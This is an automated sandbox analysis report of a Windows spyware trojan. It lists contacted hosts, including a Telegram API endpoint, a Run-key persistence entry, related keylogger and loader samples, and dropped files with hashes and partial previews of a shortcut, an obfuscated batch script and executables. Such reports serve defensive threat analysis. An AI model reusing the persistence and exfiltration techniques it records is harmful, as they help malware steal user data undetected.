https://bbc-frontbucket-canary.prod-east.f	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.telegram.org	yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034D60000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pmail.com	EPTMAcgvNZ.exe, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1351068324.00000000217FB000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1351068324.000000002179D000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1415066252.000000007FB20000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1409907919.0000000021A70000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000000.1351694799.0000000000416000.00000002.00000001.01000000.00000006.sdmp, yihfsboC.pif, 0000000E.00000001.1352324440.00000000011AF000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000000.1460253775.0000000000416000.00000002.00000001.01000000.00000006.sdmp, yihfsboC.pif, 0000001A.00000000.1548597466.0000000000416000.00000002.00000001.01000000.00000006.sdmp, yihfsboC.pif.0.dr	false		high
http://ocsp.sectigo.com0C	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
http://crl.micros	yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2547471233.00000000374F2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.cfdm	yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
185.166.143.48	bitbucket.org	Germany	16509	AMAZON-02US	false
16.182.70.225	s3-w.us-east-1.amazonaws.com	United States	unknown	unknown	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562871
Start date and time:	2024-11-26 08:23:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EPTMAcgvNZ.exe renamed because original name is a hash value
Original Sample Name:	059971ff3a7ed8438ae50f1ae60bc161e93c0b32f8a2b3c5a0e56bbfa05d9cd5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@34/11@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 212 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:24:39	API Interceptor	2x Sleep call for process: EPTMAcgvNZ.exe modified
02:25:00	API Interceptor	2x Sleep call for process: Cobsfhiy.PIF modified
04:03:08	API Interceptor	399635x Sleep call for process: yihfsboC.pif modified
08:24:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Cobsfhiy C:\Users\Public\Cobsfhiy.url
08:24:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Cobsfhiy C:\Users\Public\Cobsfhiy.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	order requirements CIF-TRC809945210.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	checkip.dyndns.org/
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-w.us-east-1.amazonaws.com	D2pQ4J4GGZ.exe	Get hash	malicious	Remcos, DBatLoader	Browse	3.5.29.78
	qqig1mHX8U.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse	16.182.101.153
	https://www.cinehub.click/anus	Get hash	malicious	Unknown	Browse	52.217.225.81
	https://temp.farenheit.net/XMDNvVFp0d0NmOUNSbFJTSVB2QTRuZktxeWdPaG5ReWxrK1NleVgvbGgvakhBRU5TWkZPQW14RDZLMTlST0pJK3Jja1R0bjkyZkxubHc1UXhLdmU5UVNJcVIyU25JdFVIV0hEc3l3R0kvb3VpWWFlWGxvWmJMSDIwaWRkYTV3c2V3ZnpXcVArUkJXbEpTeWU1SCtuRWNpRVI2RFFuNXh1ODEyQUx3WlNCdDB1N3NjcDh2M1p4MU9qSkJ0R2VDV0VDeVJ4THU5bDM5SkkvaGMxc1hEc3pOb0VtcWl0cDUxemRyc1BwMkE9PS0tRklOcExLZUVZVVZGemhWRC0teTZKNGN1UnI2dUIxL3E5Zm91Q2hVZz09?cid=2268024206	Get hash	malicious	KnowBe4	Browse	52.217.192.233
	https://webconference.protected-forms.com/XUktQL21CbERuN3Ftbmk5UlBMbGhLNWU5aGswN2dIN014czFGV0c2YnRkQkFmNTh5T2RFZTJpSnRkYXZoMGdjMkR2Zk1JQXk1N0F1cFBQbTlZTjFJLzIyY0JXOG5RM2NtL3p3ZW5tSFhuUFdCdjFmRFhMSC9kVHErbytLbmdDeWVUL3hKcmkwaGh1NHJrbzV2UCszK0tOZ3RHb0FPdkN1cE5CMFZFQytIL2lBekM3dmFCTWhJckE9PS0tOFFraUx6Q2RGc1dJb0I0bi0taW9KaWdEQ3l6WnQ4Rmw2U29qT05Udz09?cid=2104653964	Get hash	malicious	KnowBe4	Browse	52.217.161.105
	https://cards.greetingsweb.com/4b62f1c1a5202af4?l=41	Get hash	malicious	Unknown	Browse	54.231.202.65
	sostener.vbs	Get hash	malicious	Remcos	Browse	52.217.196.57
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	52.216.214.9
	https://www.zealxllc.com/sgv	Get hash	malicious	Unknown	Browse	3.5.12.15
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	3.5.30.241
bitbucket.org	D2pQ4J4GGZ.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.166.143.49
	qqig1mHX8U.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse	185.166.143.50
	05.Unzipped.obfhotel22-11.js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.48
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.48
	OGo8AQxn4k.vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
	3o2WdGwcLF.vbs	Get hash	malicious	Unknown	Browse	185.166.143.50
	sostener.vbs	Get hash	malicious	Remcos	Browse	185.166.143.49
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	185.166.143.49
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.50
	m2.exe	Get hash	malicious	Xmrig	Browse	185.166.143.49

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	DJ5PhUwOsM.exe	Get hash	malicious	AgentTesla, XWorm	Browse	149.154.167.220
	2ehwX6LWt3.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Mzo6BdEtGv.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	tE3ZXBTP0B.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Pe4905VGl1.bat	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	MSM8C42iAN.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
UTMEMUS	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
AMAZON-02US	D2pQ4J4GGZ.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.166.143.49
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	qqig1mHX8U.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse	185.166.143.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	108.139.47.92
	x86_64.elf	Get hash	malicious	Gafgyt, Mirai	Browse	54.171.230.55
	sample.sh	Get hash	malicious	Unknown	Browse	54.171.230.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.162.174.58
	https://cp-wb-pe-2-ujft-9-kslojlj-5-gdr-3-cwge-5-h5-posg-3.vercel.app/?web=minjeong.cho@hyundaimovex.com	Get hash	malicious	Unknown	Browse	76.76.21.142
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.226.94.67
	FW Expiration Pending Support Care HIPAA Acknowledgement Form 2024.eml	Get hash	malicious	Unknown	Browse	35.164.51.148

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	149.154.167.220
	2jbMIxCFsK.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	149.154.167.220
	Packing List - SAPPHIRE X.xlsx.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	WOOYANG VENUS PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	5QnwxSJVyX.doc	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	FormBook	Browse	149.154.167.220
	file.exe	Get hash	malicious	FormBook	Browse	149.154.167.220
	Orden de compra HO-PO-376-25.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
a0e9f5d64349fb13191bc781f81f42e1	D2pQ4J4GGZ.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.166.143.48 16.182.70.225
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	185.166.143.48 16.182.70.225
	2jbMIxCFsK.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	185.166.143.48 16.182.70.225
	9oKqST-uPDy7iigkXM-C5J2.eml	Get hash	malicious	Unknown	Browse	185.166.143.48 16.182.70.225
	1m181Ru74o.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.166.143.48 16.182.70.225
	jlPBMMQbXC.exe	Get hash	malicious	DBatLoader, Remcos	Browse	185.166.143.48 16.182.70.225
	qqig1mHX8U.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse	185.166.143.48 16.182.70.225
	nft438A5fN.exe	Get hash	malicious	DBatLoader, Remcos	Browse	185.166.143.48 16.182.70.225
	6BE4RDldhw.exe	Get hash	malicious	DBatLoader	Browse	185.166.143.48 16.182.70.225
	AnyDesk.exe	Get hash	malicious	DBatLoader	Browse	185.166.143.48 16.182.70.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\yihfsboC.pif	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	2jbMIxCFsK.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse
	qqig1mHX8U.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse
	RFQ_PO_N39859JFK_ORDER_SPECIFICATIONS_OM.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse
	x.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse
	TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse

Created / dropped Files

C:\Users\Public\Cobsfhiy.url

Download File

Process:	C:\Users\user\Desktop\EPTMAcgvNZ.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.040869887509748
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMgDNM6fsbxJQKXvn:HRYFVmTWDyz9MqEx7/n
MD5:	8EB1493A9DE5730B408CFC787C954A6E
SHA1:	7E588245670B01A85218ABEF86655E5A39A69617
SHA-256:	47863E0A471F4CCD3DF71FE71465D647D44C22F284361C6CD8CDF486AC5709CC
SHA-512:	34063FBE80746C4B85D4A8FACD7AB64054269E99723B2EF2AB9B4B7DDB6A07346FF501012C2AD7EB5F2F639B0A6BD32172928A43323589D7B1AD04F34255AC5B
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF"..IconIndex=915509..HotKey=5..

C:\Users\Public\Libraries\Cobsfhiy

Download File

Process:	C:\Users\user\Desktop\EPTMAcgvNZ.exe
File Type:	data
Category:	dropped
Size (bytes):	561958
Entropy (8bit):	6.968997844387319
Encrypted:	false
SSDEEP:	12288:gAabuLGiAvJSswdYvgB/CBXakJpLqQszzFG/oota3:0Kz0+dYvM/C4ZzzFG/Lta3
MD5:	F481AA81C109EF427F031D402F04F98E
SHA1:	E0D32E04CDCFF429DCD53AF6550DF64401F9B764
SHA-256:	6A5355D9405BBA24CD90E37409194027EF4D453A0387692586F71C4030AC0656
SHA-512:	4BD37DDA5109C852ADC3ACCD9B4859AFC799117526B72729BBB7F29979C771870BDB50AE3A85D73BF60DEC5721F452D05F50D561C77DCB78D66ADB9A3CA04D58
Malicious:	true
Preview:	...`..R..+#!...-..&".... ...#..,.(.-..(.....+.-"(&"$.+(%.......`..RU#.'...-.!,...`..R..W...I....R.E........G......E........D......F........P......E........C......Q....].R.>....W.A....T.^.4......B......U.Q......L......T.4....X.N.....U..6....W.9......_.M......6........E......I....Z...Q....X.J....X]..C......Q.....Z..F......K....X.U.>......3....R.\........D........A......Q........@......4....._..J......3........3......Q........D......C....Z`R.O....].4....V_`.F......K....]...J......F....\.`.A......N.....`Z.8....U.Q....W...I....R.E........G.....]....0]1X.)......21V....'Y.RU1`+.Y.......+&T&R&,.-.`.%...V...T.^....W.UTSV..... ).TVT..1\..............]...V......[.......].[#..Z^&Z-......^..Y....!"._)$1Z.-.].)..#/.WZ.(..SY.W.UTSV............!0T.2\2........._....'#..22...%"-....b......-Z1+.b^T...X2.................!`..W-%+T.^.SY.W.U...0T-$YZ.(/[\.,\..........()[#Z.$./"..2V,X..^.SY...!...^1ZYZ..... $ .Y...."..#)R1\"..)..Z`a/bY.aV.S.U.(...V^1V.-$.b'1(V^10.-$U.%%^%V...&...\!..(.Wb.Y!.S/.).U

C:\Users\Public\Libraries\Cobsfhiy.PIF

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	7.351894430686878
Encrypted:	false
SSDEEP:	24576:uPHhFG0TMHw0kEWIo7rVTR8XzSz4FMzDVW1SKCDH7:uPBZIMJTmjSmM3UxAH7
MD5:	DC614075998696B44ADA8A2EED23FC03
SHA1:	911B29FF40B13F6935568153F178867E10946311
SHA-256:	059971FF3A7ED8438AE50F1AE60BC161E93C0B32F8A2B3C5A0E56BBFA05D9CD5
SHA-512:	ABD7C8F466B5C856A1A0862180598FBF32B9854EC4C4D6529C0FC3B45F642F538B2E52A5AD27C913F164B74306240BF84082D2DD69C8998A233C7379B749646B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.............................(.......0....@..........................P...................@...........................`...(...0..........................lx..................................................Pg..8............................text............................... ..`.itext....... ...................... ..`.data........0......................@....bss.....:... ...........................idata...(...`.....................@....tls....4............4...................rdata...............4..............@..@.reloc..lx.......z...6..............@..B.rsrc........0......................@..@.............P......................@..@................................................................................................

C:\Users\Public\Libraries\PNO

Download File

Process:	C:\Users\user\Desktop\EPTMAcgvNZ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:L:L
MD5:	A0B6C3E24F6F2433B030951BC488F759
SHA1:	1D383314988E188C925A9B47065E1285E25551E3
SHA-256:	9B6DD0F55D1CEA37555DB317F53A0631F694BD46DF8018CC2AEED3D9E2F32F5F
SHA-512:	16E024531F95614599758CB3996E5A9303AF312912C7EADE0B27BD46979A6C0704E8D63D09BBBC81F94A3D762F8A256005DCA4A6C531BCD262A8583E7EE7A74F
Malicious:	false
Preview:	7..

C:\Users\Public\Libraries\yihfsboC.cmd

Download File

Process:	C:\Users\user\Desktop\EPTMAcgvNZ.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	62357
Entropy (8bit):	4.705712327109906
Encrypted:	false
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
MD5:	B87F096CBC25570329E2BB59FEE57580
SHA1:	D281D1BF37B4FB46F90973AFC65EECE3908532B2
SHA-256:	D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
SHA-512:	72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
Malicious:	false
Preview:	@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

C:\Users\Public\Libraries\yihfsboC.pif

Download File

Process:	C:\Users\user\Desktop\EPTMAcgvNZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: C6dAUcOA6M.exe, Detection: malicious, Browse Filename: 2jbMIxCFsK.exe, Detection: malicious, Browse Filename: qqig1mHX8U.exe, Detection: malicious, Browse Filename: RFQ_PO_N39859JFK_ORDER_SPECIFICATIONS_OM.bat, Detection: malicious, Browse Filename: IBKB.vbs, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: x.exe, Detection: malicious, Browse Filename: TC_Ziraat_Bankasi_Hesap_Ekstresi.cmd, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\alpha.pif

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	236544
Entropy (8bit):	6.4416694948877025
Encrypted:	false
SSDEEP:	6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
MD5:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
SHA1:	4048488DE6BA4BFEF9EDF103755519F1F762668F
SHA-256:	4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
SHA-512:	80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\xpha.pif

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.742964649637377
Encrypted:	false
SSDEEP:	384:PVhNH/TqNcx+5tTAjtn3bPcPwoeGULZbiWBlWjVw:PVhZXx+5tTetLVohULZJgw
MD5:	B3624DD758CCECF93A1226CEF252CA12
SHA1:	FCF4DAD8C4AD101504B1BF47CBBDDBAC36B558A7
SHA-256:	4AAA74F294C15AEB37ADA8185D0DEAD58BD87276A01A814ABC0C4B40545BF2EF
SHA-512:	C613D18511B00FA25FC7B1BDDE10D96DEBB42A99B5AAAB9E9826538D0E229085BB371F0197F6B1086C4F9C605F01E71287FFC5442F701A95D67C232A5F031838
